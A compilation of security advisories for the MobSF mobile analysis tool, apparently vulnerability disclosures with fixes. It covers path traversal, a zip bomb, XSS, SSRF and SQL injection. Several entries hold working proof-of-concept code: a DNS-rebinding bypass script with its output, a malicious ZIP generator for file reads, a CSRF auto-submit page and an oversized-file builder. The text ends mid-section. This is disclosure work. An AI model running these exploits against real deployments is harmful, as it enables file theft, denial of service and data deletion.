As part of static analysis, iOS MobSF supports loading and parsing statically linked libraries .a. When parsing such archives, the code extracts the embedded objects to the file system in the working directory of the analysis. The problem is that the current implementation does not prohibit absolute file names inside .a. If an archive item has a name like /abs/path/to/file, the resulting path is constructed as Path(dst) /name; for absolute paths, this leads to a complete substitution of the destination directory: writing occurs directly to the specified absolute directory. the path (outside the working directory).

Thus, an authenticated user who uploaded a specially prepared .a, can write arbitrary files to any directory writable by the user of the MobSF process (for example, /tmp, neighboring directories inside ~/.MobSF, etc.).

The key reason is that checking the "sliding" paths only takes into account the presence of .. (relative traversal), but does not take into account the absoluteness of the name and does not compare the normalized target path with the root directory of the extraction.

What exactly is vulnerable:

mobsf/StaticAnalyzer/views/common/shared_func.py Function for extracting objects from .a — ar_extract

def ar_extract(checksum, src, dst):
    """Extract AR archive."""
    ...
    ar = arpy.Archive(src)
    ar.read_all_headers()
    for a, val in ar.archived_files.items():
        # Handle archive slip attacks
        filtered = a.decode('utf-8', 'ignore')
        if is_path_traversal(filtered):
            msg = f'Zip slip detected. skipped extracting {filtered}'
            logger.warning(msg)
            append_scan_status(checksum, msg)
            continue
        out = Path(dst) / filtered
        out.write_bytes(val.read())

• The “slip” check is limited to is_path_traversal(filtered), which looks only for traversal patterns like .., %2e%2e, %252e.
• Therefore, if the .a archive contains a member named '/tmp/pwned.txt', MobSF will write it to /tmp/pwned.txt, outside the intended working directory.

ar_extract is called from: mobsf/StaticAnalyzer/views/common/a.py

def extract_n_get_files(checksum, src, dst):
    dst = Path(dst) / 'static_objects'
    dst.mkdir(parents=True, exist_ok=True)
    ar_extract(checksum, src, dst.as_posix())

The expectation is that extraction happens only under the static_objects subdirectory, but absolute file names inside the .a break this assumption by directing writes outside that directory.

Attack Scenario

1. The attacker creates a valid AR archive.a, in which the name of one of the members is the absolute path (as an example) /home/mobsf/.MobSF/db.sqlite3. This is done by the standard AR (GNU long filename table) mechanism.
2. It downloads this one via the web interface or the Static library loading API .a in MobSF.
3. During the analysis, MobSF extracts the contents: due to the absolute name, the resulting path becomes /home/mobsf/.MobSF/db.sqlite3, and the file is created/overwritten outside the working directory.
4. In our case, the database file was overwritten, which caused MobSF to malfunction.

PoC

1. Using the script, create a file with the payload. In the example, this is "/home/mobsf/.MobSF/db.sqlite3"

2. Connect to the container and verify that the db.sqlite3 file is a database. The scan has not been performed yet.

3. Upload the file for scanning and then update the page to get a server error.

4. Check the file structure after scanning and see that the file has been overwritten.

5. There is a database error in the MobSF log.

Impact

1. Arbitrary writing/overwriting of files within the rights of the MobSF process (for example, /tmp, directories with analysis results, logs).
2. Distortion of analysis results (substitution of artifacts) and undermining the integrity of reports.
3. Implementation of a system malfunction (overwriting the db.sqlite3 file).
4. Compromise of the UI (if you have write rights to statics/templates): Stored XSS by overwriting the plug-in.js/template.
5. Potential escalation of risks with lax configuration of containers/rights (for example, writing to system paths inside the container if the process is running with excessive privileges).

Mitigation

Reject absolute paths and normalize before writing.

Please, assign all credits to Vasily Leshchenko (Solar AppSec)

Vulnerable MobSF Versions: <= v4.3.2

Details: MobSF is a widely adopted mobile application security testing tool used by security teams across numerous organizations. Typically, MobSF is deployed on centralized internal or cloud-based servers that also host other security tools and web applications. Access to the MobSF web interface is often granted to internal security teams, audit teams, and external vendors.

MobSF provides a feature that allows users to upload ZIP files for static analysis. Upon upload, these ZIP files are automatically extracted and stored within the MobSF directory. However, this functionality lacks a check on the total uncompressed size of the ZIP file, making it vulnerable to a ZIP of Death (zip bomb) attack.

Due to the absence of safeguards against oversized extractions, an attacker can craft a specially prepared ZIP file that is small in compressed form but expands to a massive size upon extraction. Exploiting this, an attacker can exhaust the server's disk space, leading to a complete denial of service (DoS) not just for MobSF, but also for any other applications or websites hosted on the same server.

Attack Scenario: Suppose the server hosting MobSF has 5 GB of free disk space..

A malicious user will first create a genuine hello world application code using android studio and inside this code directory (app//src/main/java/APK_PATH/bomb.txt) he'll place a bomb.txt file.

This bomb.txt file will have billions of zeros to increase the file size on storage and make it to 4.99 GB. Now suppose the resultant hello world code directory including original code and bomb.txt files will be of 5GB, so the attacker will compress the entire hello world code directory to zip and resultant zip will be around 12-15 MBs only.

An attacker will upload this zip bomb using the MobSF web interface or API. So an attacker will spend only 12-15 MB of his bandwidth.

Now the MobSF tool will extract that zip file and it'll be automatically converted into its original size 5GB.

So now a web server will be forced to store 5GB of data and its storage will be exhausted by an attacker's single request.

Web server's storage and resources will not be able to handle other running websites or applications as the storage is exhausted. This way an attacker can achieve complete Web Server Resource Exhaustion.

Impact:

1. This vulnerability can lead to complete server disruption in an organization which can affect other internal portals and tools too (which are hosted on the same server).
2. If some organization has created their customised cloud based mobile security tool using MobSF core then an attacker can exploit this vulnerability to crash their servers.

POC:

1. Screen Recording :
   https://drive.google.com/file/d/1x7GEPJr2T04Ij5ZFQQtGWvUWXtM4M4aw/view?usp=sharing
2. POC Zip Bomb File (Upon extraction this file will consume 6GB of storage) : https://drive.google.com/file/d/1N3apL1ySMecnt3HUQcDcuH7hsjPrdwUj/view?usp=sharing

Mitigation: It is recommended to implement a safeguard that checks the total uncompressed size of any uploaded ZIP file before extraction. If the estimated uncompressed size exceeds a safe threshold (e.g., 100 MB), MobSF should reject the file and notify the user.

Vulnerable MobSF Versions: <= v4.3.2

CVSS V4.0 Score: 8.6 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N)

Details: A Stored Cross-Site Scripting (XSS) vulnerability has been identified in MobSF versions ≤ 4.3.2. The vulnerability arises from improper sanitization of user-supplied SVG files during the Android APK analysis workflow.

When an Android Studio project contains a malicious SVG file as an app icon (e.g path, /app/src/main/res/mipmap-hdpi/ic_launcher.svg), and the project is zipped and uploaded to MobSF, the tool processes and extracts the contents without validating or sanitizing the SVG.

Upcon ZIP extraction this icon file is saved by MobSF to: user/.MobSF/downloads/.svg

This file becomes publicly accessible via the web interface at:

http://127.0.0.1:8081/download/filename.svg

If the SVG contains embedded JavaScript (e.g., an XSS payload), accessing this URL via a browser leads to the execution of the script in the context of the MobSF user session, resulting in stored XSS.

Proof Of Concept:

1. Create a malicious SVG file (ic_launcher.svg) with an embedded XSS payload.

2. Place the file in the Android Studio project directory: /app/src/main/res/mipmap-hdpi/ic_launcher.svg

3. Zip the project directory and upload it to MobSF.

4. After the scan, navigate to the "Recent Scans" page in the MobSF web interface and click on the scan entry and open the icon file in a new browser tab.

5. The XSS payload is executed, confirming the vulnerability.

Product: Mobile Security Framework (MobSF) Version: 4.3.0 CWE-ID: CWE-269: Improper Privilege Management CVSS vector v.4.0: 7.1 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N) CVSS vector v.3.1: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) Description: MobSF has a functionality of dividing users by roles. This functionality is not efficient, because any registered user can get API Token with all privileges. Impact: Information Disclosure Vulnerable component: Code output component (/source_code) Exploitation conditions: authorized user Mitigation: Remove token output in the returned js-script Researcher: Egor Filatov (Positive Technologies)

Research

Researcher discovered zero-day vulnerability «Local Privilege Escalation» in Mobile Security Framework (MobSF). To reproduce the vulnerability follow the steps below.

• A user with minimal privileges is required, so the administrator must create a user account

Figure 1. Registration

• Go to static analysis of any application

Figure 2. Static analysis

• Go to the code review of the selected application and get a token with all privileges in the response

Figure 3. Token receiving

• This token can be used to retrieve dynamic analysis information that has not been accessed before.

Figure 4. No access demonstration

Figure 5. Token usage

As a result, the user is able to escalate the privileges.

Please, assign all credits to: Egor Filatov (Positive Technologies)

Partial Denial of Service (DoS)

Product: MobSF Version: v4.2.9 CWE-ID: CWE-1287: Improper Validation of Specified Type of Input CVSS vector v.4.0: 6.9 (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) CVSS vector v.3.1: 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) Description: DoS in the Scans Results and iOS Dynamic Analyzer functionality Impact: Leveraging this vulnerability would make Scans Results and iOS Dynamic Analyzer pages unavailable. Vulnerable component: urls.py https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/MobSF/urls.py#L401 Exploitation conditions: A malicious application was uploaded to the MobSF. Mitigation: Check the uploaded bundle IDs against the regex. Researcher: Oleg Surnin (Positive Technologies)

Research

Researcher discovered zero-day vulnerability Partial Denial of Service (DoS) in MobSF in the Scans Results and iOS Dynamic Analyzer functionality. According to Apple's documentation for bundle ID's, it must contain only alphanumeric characters (A–Z, a–z, and 0–9), hyphens (-), and periods (.). (https://developer.apple.com/documentation/bundleresources/information-property-list/cfbundleidentifier) However, an attacker can manually modify this value in Info.plist file and add special characters to the <key>CFBundleIdentifier</key> value. In the urls.py file URL rules are defined. https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/MobSF/urls.py#L401

Listing 3.

bundle_id_regex = r'(?P<bundle_id>([a-zA-Z0-9]{1}[\w.-]{1,255}))$'

# skip code
re_path(fr'^ios/view_report/{bundle_id_regex}',
                ios_view_report.ç,
                name='ios_view_report'),

When the application parses the wrong characters in the bundle ID, it encounters an error. As a result, it will not display content and will throw a 500 error instead. The only way to make the pages work again is to manually remove the malicious application from the system.

Vulnerability reproduction

To reproduce the vulnerability, follow the steps described below.

• Unzip the IPA file of any iOS application.

Listing 4. Unzipping the file

unzip test.ipa

• Modify the value of <key>CFBundleIdentifier</key> by adding restricted characters in the Info.plist file.

*Figure 7. Example with ' character`

• Zip the modified IPA file.

Listing 5. Zipping the file

zip -r dos.ipa Payload/

• Upload the modified IPA file to Static Analysis and wait until it finished • Open the following pages: http://mobsf/recent_scans/ http://mobsf/ios/dynamic_analysis/

Figure 8. DoS Example

Figure 9. DoS Example

Please, assign all credits to Oleg Surnin (Positive Technologies)

Product: MobSF Version: < 4.3.1 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.4.0: 8.5 (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N) CVSS vector v.3.1: 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N) Description: Stored XSS in the iOS Dynamic Analyzer functionality. Impact: Leveraging this vulnerability would enable performing actions as users, including administrative users. Vulnerable component: dynamic_analysis.html https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/templates/dynamic_analysis/ios/dynamic_analysis.html#L406 Exploitation conditions: A malicious application was uploaded to the Correlium. Mitigation: Use escapeHtml() function on the bundle variable. Researcher: Oleg Surnin (Positive Technologies)

Research

Researcher discovered zero-day vulnerability Stored Cross-site Scripting (XSS) in MobSF in iOS Dynamic Analyzer functionality. According to Apple's documentation for bundle ID's, it must contain only alphanumeric characters (A–Z, a–z, and 0–9), hyphens (-), and periods (.). (https://developer.apple.com/documentation/bundleresources/information-property-list/cfbundleidentifier) However, an attacker can manually modify this value in Info.plist file and add special characters to the <key>CFBundleIdentifier</key> value. In the dynamic_analysis.html file you do not sanitize received bundle value from Corellium https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/templates/dynamic_analysis/ios/dynamic_analysis.html#L406

Figure 1. Unsanitized bundle

As a result, it is possible to break the HTML context and achieve Stored XSS.

Vulnerability reproduction

To reproduce the vulnerability, follow the steps described below.

• Unzip the IPA file of any iOS application. Listing 1. Unzipping the file

unzip test.ipa

• Modify the value of <key>CFBundleIdentifier</key> by adding restricted characters in the Info.plist file.

Figure 2. Example of the modified Bundle Identifier

• Zip the modified IPA file.

Listing 2. Zipping the file

zip -r xss.ipa Payload/

• Upload the modified IPA file to your virtual device using the Correlium platform.

Figure 3. Example of the uploaded malicious application

• Open the XSS functionality and hover the mouse over the Uninstall button of the malicious app.

Figure 4. Example of the 'Uninstall' button

Figure 5. Example of the XSS

Figure 6. Example of the vulnerable code

Please, assign all credits to: Oleg Surnin (Positive Technologies)

Summary

The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.

PoC

The following proof of concept:

def valid_host(host):
    """Check if host is valid."""
    try:
        prefixs = ('http://', 'https://')
        if not host.startswith(prefixs):
            host = f'http://{host}'
        parsed = urlparse(host)
        domain = parsed.netloc
        path = parsed.path
        if len(domain) == 0:
            # No valid domain
            return False, None
        if len(path) > 0:
            # Only host is allowed
            return False, None
        if ':' in domain:
            # IPv6
            return False, None
        # Local network
        invalid_prefix = (
            '100.64.',
            '127.',
            '192.',
            '198.',
            '10.',
            '172.',
            '169.',
            '0.',
            '203.0.',
            '224.0.',
            '240.0',
            '255.255.',
            'localhost',
            '::1',
            '64::ff9b::',
            '100::',
            '2001::',
            '2002::',
            'fc00::',
            'fe80::',
            'ff00::')
        if domain.startswith(invalid_prefix):
            return False, None
        ip = socket.gethostbyname(domain)
        if ip.startswith(invalid_prefix):
            # Resolve dns to get IP
            return False, None
        return True, ip
    except Exception:
        return False, None

import random
import time
import socket
from urllib.parse import urlparse

if __name__ == '__main__':
    print("Generating random host ...", end=' ')     
    prefix = random.randint(999_999, 9_999_999)
    host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
    print("Done")
    print(f"Testing with '{host}' ... ", end=" ")
    valid, ip = valid_host(host)
    if valid:
        print(f"Successful Bypass")
        print(f" - Host initially resolved to: {ip}")
        print("Sleeping for 1 second ...")
        time.sleep(1)
        print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
        print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
        print("Sleeping for 30 seconds ...")
        time.sleep(30)
    else:
        print(f"Invalid host")

Yields :

$ python3 poc.py
Generating random host ... Done
Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ...  Successful Bypass
 - Host initially resolved to: 1.1.1.1
Sleeping for 1 second ...
 - Second use host will be resolved to: 127.0.0.1
 - Third use host will be resolved to: 127.0.0.1
Sleeping for 30 seconds ...

Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds. As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.

Impact

The usual impact of Server-side request forgery.

Remediation

• Avoid the use of socket.gethostbyname() since it issues and DNS query.

Summary

The find_icon_path_zip() function in MobSF does not properly sanitize the android:icon attribute extracted from an Android manifest before resolving it as a filesystem path.

An attacker can supply a malicious android:icon value containing path traversal sequences, causing MobSF to read arbitrary files from the server filesystem and copy them into the downloads directory (DWD_DIR). These files can then be retrieved by any authenticated user via the /download/<filename> endpoint, provided the file extension is included in ALLOWED_EXTENSIONS.

Details

elif icon_path.startswith(('res/', '/res/')):
    stripped_relative_path = icon_path.strip('/res')  # Works for neither /res nor res
    full_path = os.path.join(res_dir, stripped_relative_path)
    if os.path.exists(full_path):
        return full_path
    full_path += '.png'
    if os.path.exists(full_path):
        return full_path

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L126

This code enables path traversal if a value like 'res/../../../signatures/maltrail-malware-domains.txt' is used as the icon path. This path will resolve to outside the scan directory, and the file will eventually be copied into DWD_DIR/<md5>-icon.<ext>:

icon_file = find_icon_path_zip(
        app_dic['md5'],
        res_path,
        icon_from_mfst)
    if icon_file and Path(icon_file).exists():
        dwd = Path(settings.DWD_DIR)
        out = dwd / (app_dic['md5'] + '-icon' + Path(icon_file).suffix)
        copy2(icon_file, out)
        app_dic['icon_path'] = out.name

https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/6e875fb77baa9dbe65ff8e7d0344d740e1d6d51e/mobsf/StaticAnalyzer/views/android/icon_analysis.py#L101

Because the output filename is derived from the MD5 hash of the uploaded archive (which the attacker can compute locally for his own ZIP), the attacker can deterministically retrieve the file via: GET /download/<md5>-icon.<ext>

PoC

The following script generates a malicious ZIP archive that exploits this issue by referencing an arbitrary file on the server (maltrail-malware-domains.txt):

import hashlib
import io
import zipfile

DEFAULT_HOST = "http://localhost:8000"
DEFAULT_TARGET = "res/../../../signatures/maltrail-malware-domains.txt"

MANIFEST_TEMPLATE = """\
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.poc.icontraversal">
    <application android:icon="{target}"
                 android:label="PoC App">
        <activity android:name=".MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>
"""

MAIN_ACTIVITY = """\
package com.poc.icontraversal;
import android.app.Activity;
public class MainActivity extends Activity {}
"""

host = DEFAULT_HOST
target = DEFAULT_TARGET
host = host.rstrip("/")

# crate ZIP
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("AndroidManifest.xml", MANIFEST_TEMPLATE.format(target=target))
    zf.writestr("src/com/poc/icontraversal/MainActivity.java", MAIN_ACTIVITY)
    zf.writestr("res/drawable/placeholder.png", b"\x89PNG\r\n\x1a\n")

# compute hash
zip_bytes = buf.getvalue()
md5 = hashlib.md5(zip_bytes).hexdigest()

# write to disk
out_file = "poc_icon_traversal.zip"
with open(out_file, "wb") as f:
    f.write(zip_bytes)

import os
target_suffix = os.path.splitext(target.strip("/res").split("/")[-1])[1]
download_filename = f"{md5}-icon{target_suffix}"

print(f"[+] ZIP created : {os.path.abspath(out_file)}")
print(f"[+] Target file : {target}")
print()
print("[ Step 1 ] Upload the ZIP manually via the MobSF web UI")
print()
print("[ Step 2 ] Wait for the scan to complete, then browse to:")
print(f"    {host}/download/{download_filename}")

Impact

This vulnerability allows an attacker with scan permissions to read files from the server filesystem outside the intended scan directory, as long as the target file has an extension in ALLOWED_EXTENSIONS. This can expose internal server files that are otherwise inaccessible through any legitimate endpoint. Additionally, this behavior enables a file existence oracle for any file path regardless of extension - the attacker can infer whether a file exists by checking the icon_path field in the scan report (if the target does not exist the path will be empty).

Depending on the deployment, this may expose sensitive configuration files, internal data, or security artifacts.

Remediation

This can fixed by using the is_path_traversal function to validate user input.

Summary

Django's CsrfViewMiddleware exists only in the deprecated MIDDLEWARE_CLASSES (ignored since Django 2.0). The active MIDDLEWARE tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.

Verified Impact

This was verified by actually deleting a real scan from the running server using only a session cookie — no CSRF token was required:

$ curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \
    -d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk"
{"deleted": "yes"}

The scan was removed from the database. This attack works from any website via HTML form auto-submission because:

• No CSRF token is validated (middleware absent)
• Cookie SameSite=Lax allows form-based top-level navigation to send the session cookie

Affected Component

File: mobsf/MobSF/settings.py (Lines 206-212)

MIDDLEWARE = (
    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'
)

Steps to Reproduce

1. Start MobSF v4.4.6 and log in at http://127.0.0.1:8000/login/ (creds: mobsf/mobsf).

2. Upload and scan any APK to create a scan entry. Note the MD5 hash from "Recent Scans".

3. Open the following HTML file in the same browser (simulates visiting attacker's page):

<!DOCTYPE html>
<html>
<head><title>Innocent Page</title></head>
<body>
<h1>Loading...</h1>
<form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/">
  <input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" />
  <input type="hidden" name="scan_type" value="apk" />
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>

4. The scan is deleted. Navigate back to MobSF "Recent Scans" to confirm it's gone.

Why This Is Not a Self-Bug

• The attack requires a victim user who is logged in to visit an attacker-controlled page
• The attacker crafts the form targeting the victim's MobSF instance
• All destructive POST endpoints are affected: /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, /delete_user/
• This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)

Remediation

Add 'django.middleware.csrf.CsrfViewMiddleware' to the active MIDDLEWARE tuple.

Summary

MobSF's Android App Link assetlinks checker validates only the manifest android:host value with valid_host(), but then appends the separate android:port value into the URL used for the server-side request. This bypasses the current port restriction in valid_host() and lets a crafted APK cause MobSF to fetch http://host:<attacker-port>/.well-known/assetlinks.json or https://host:<attacker-port>/.well-known/assetlinks.json.

Impact

An authenticated user who can upload or trigger analysis of a crafted APK can cause the MobSF server to make an outbound request to an attacker-selected port during Android manifest analysis. When the host is controlled by the attacker and uses DNS rebinding, the validation lookup can resolve to a public IP while the later HTTP client lookup resolves to an internal address, allowing SSRF to internal services on non-80/443 ports.

This is not arbitrary URL SSRF. The path remains fixed to /.well-known/assetlinks.json, and redirects are disabled. The bypass is that the final fetched URL is assembled after the host-only validation, so the current port guard is not applied to the actual URL.

Root cause

valid_host() rejects ports other than 80 and 443 when a port is included in the string being validated:

port = parsed.port
...
if port and port not in (80, 443):
    return False

In get_browsable_activities(), only the host attribute is passed to valid_host():

host = data.getAttribute(f'{ns}:host')
port = data.getAttribute(f'{ns}:port')
...
if not valid_host(host):
    logger.warning('Invalid Host: %s', host)
    continue
shost = f'{scheme}://{host}'
if port and is_number(port):
    c_url = f'{shost}:{port}{WELL_KNOWN_PATH}'
else:
    c_url = f'{shost}{WELL_KNOWN_PATH}'
well_known[c_url] = shost

_check_url() then fetches the assembled URL after checking only path, query, and params:

purl = urlparse(url)
if (purl.path != WELL_KNOWN_PATH
    or len(purl.query) > 0
        or len(purl.params) > 0):
    logger.warning('Invalid Assetlinks URL: %s', url)
    continue
r = requests.get(url,
                 timeout=5,
                 allow_redirects=False,
                 proxies=proxies,
                 verify=verify)

Reproduction

Use an Android manifest with a browsable App Link data tag that has a benign-looking host and a restricted port:

<activity android:name=".DeepLink" android:exported="true">
  <intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.BROWSABLE" />
    <category android:name="android.intent.category.DEFAULT" />
    <data android:scheme="http" android:host="rebind.example" android:port="22" />
  </intent-filter>
</activity>

A safe local proof with DNS and HTTP monkeypatching shows that MobSF validates only rebind.example, then fetches a URL that preserves the unchecked port:

well_known map: {'http://rebind.example:22/.well-known/assetlinks.json': 'http://rebind.example'}
requests.get calls: [('http://rebind.example:22/.well-known/assetlinks.json', {'timeout': 5, 'allow_redirects': False, 'proxies': None, 'verify': True})]
findings: [{'url': 'http://rebind.example:22/.well-known/assetlinks.json', 'host': 'http://rebind.example', 'status_code': 200, 'status': True}]
VULNERABLE: valid_host validated only rebind.example, but assetlinks_check fetched unchecked port 22 via http://rebind.example:22/.well-known/assetlinks.json

The same code pattern is present in latest release v4.4.6 and current main.

Remediation

Validate the final URL after all manifest components have been applied. In particular:

1. Build c_url, then run validation on the full URL, including scheme, hostname, port, path, query, and params.
2. Reject android:port values other than 80 and 443 before appending them to the URL.
3. Prevent DNS rebinding by pinning the validated DNS result to the outbound connection or otherwise ensuring the actual HTTP request cannot resolve to a different address than the validation step.
4. Keep allow_redirects=False for the existing redirect mitigation.

Summary

When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.

Verified Impact (Code Audit)

The vulnerable code path in shared_func.py lines 153–182:

# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    # ← BUG: No 'continue' here! Execution falls through.

# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
    raise Exception(msg)

# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
    continue
else:
    fileinfo.external_attr = ...

# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
    zipptr.extract(file_path, ext_path)   # ← Runs regardless of size check

The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.

Steps to Reproduce

1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):

#!/usr/bin/env python3
import zipfile, tempfile, os

output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
    # 450 MB file (exceeds 400 MB limit) — compresses to ~KB
    info = zipfile.ZipInfo('assets/huge.bin')
    info.compress_type = zipfile.ZIP_DEFLATED
    with zf.open(info, 'w') as f:
        for _ in range(450):
            f.write(b'\x00' * (1024 * 1024))  # 1 MB at a time

print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")

2. Upload via API:

curl -X POST http://127.0.0.1:8000/api/v1/upload \
  -H "X-Mobsf-Api-Key: YOUR_KEY" \
  -F "file=@poc.apk"

3. Trigger scan, then verify:

# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin  # 450 MB file is there

Why This Is Not a Self-Bug

• This affects any user who scans a maliciously crafted APK
• The APK could come from a legitimate-looking package submitted for security review
• Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
• Impact: disk exhaustion preventing further scans for other users

Remediation

Add continue after the size warning:

if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
    size_mb = fileinfo.file_size / (1024 * 1024)
    msg = (f'File too large ({size_mb:.2f} MB). Skipping '
           f'{sanitize_for_logging(file_path)}')
    logger.warning(msg)
    continue  # ← ADD THIS LINE

Description

MobSF's read_sqlite() function in mobsf/MobSF/utils.py (lines 542-566) uses Python string formatting (%) to construct SQL queries with table names read from a SQLite database's sqlite_master table. When a security analyst uses MobSF to analyze a malicious mobile application containing a crafted SQLite database, attacker-controlled table names are interpolated directly into SQL queries without parameterization or escaping.

This allows an attacker to:

1. Cause Denial of Service -- A malicious table name causes the database viewer to crash, preventing the analyst from viewing ANY data in the SQLite database. A malicious app can use this to hide sensitive data (C2 server URLs, stolen credentials, API keys) from MobSF's analysis.

2. Achieve SQL Injection -- The SELECT * FROM query on line 557 is provably injectable via UNION SELECT, allowing attacker-controlled data to be returned in query results. The current code structure (a PRAGMA statement that runs first on line 553) limits the full exploitation chain, but the underlying code is verifiably injectable.

Root Cause

The vulnerable code in mobsf/MobSF/utils.py:542-566:

def read_sqlite(sqlite_file):
    """Sqlite Dump - Readable Text."""
    table_dict = {}
    try:
        con = sqlite3.connect(sqlite_file)
        cur = con.cursor()
        cur.execute('SELECT name FROM sqlite_master WHERE type=\'table\';')
        tables = cur.fetchall()
        for table in tables:
            table_dict[table[0]] = {'head': [], 'data': []}
            cur.execute('PRAGMA table_info(\'%s\')' % table)    # <-- INJECTION POINT 1
            rows = cur.fetchall()
            for sq_row in rows:
                table_dict[table[0]]['head'].append(sq_row[1])
            cur.execute('SELECT * FROM \'%s\'' % table)         # <-- INJECTION POINT 2
            rows = cur.fetchall()
            for sq_row in rows:
                tmp_row = []
                for each_row in sq_row:
                    tmp_row.append(str(each_row))
                table_dict[table[0]]['data'].append(tmp_row)
    except Exception:
        logger.exception('Reading SQLite db')
    return table_dict

Lines 553 and 557 use % string formatting to interpolate table (a tuple from sqlite_master) directly into SQL strings. The table value is attacker-controlled when the SQLite database originates from a malicious application being analyzed.

Attack Vector

The read_sqlite() function is called from two locations:

1. Dynamic Analysis File Viewer (mobsf/DynamicAnalyzer/views/common/device.py:64):

   • Triggered when an analyst clicks to view a .db file in device data
   • Applies to both Android and iOS dynamic analysis

2. iOS Static Analysis File Viewer (mobsf/StaticAnalyzer/views/ios/views/view_source.py:123):

   • Triggered when an analyst clicks to view a .db file during iOS static analysis

Attack Scenario

1. Attacker creates a malicious Android APK (or iOS IPA) containing a SQLite database with a crafted table name in the assets/ directory
2. The SQLite database contains a table created with:

   CREATE TABLE "x' UNION SELECT 'SQL_INJECTION_PROOF'--" (id INTEGER);
   

3. Security analyst uploads the application to MobSF for analysis
4. Analyst browses the extracted files and clicks to view the SQLite database
5. MobSF's read_sqlite() reads table names from sqlite_master, including the malicious name x' UNION SELECT 'SQL_INJECTION_PROOF'--
6. The table name is interpolated into SQL queries via string formatting:
   • PRAGMA table_info('x' UNION SELECT 'SQL_INJECTION_PROOF'--') -- causes syntax error (DoS)
   • SELECT * FROM 'x' UNION SELECT 'SQL_INJECTION_PROOF'--' -- SQL injection (UNION SELECT returns attacker data)

Impact

Denial of Service (Confirmed)

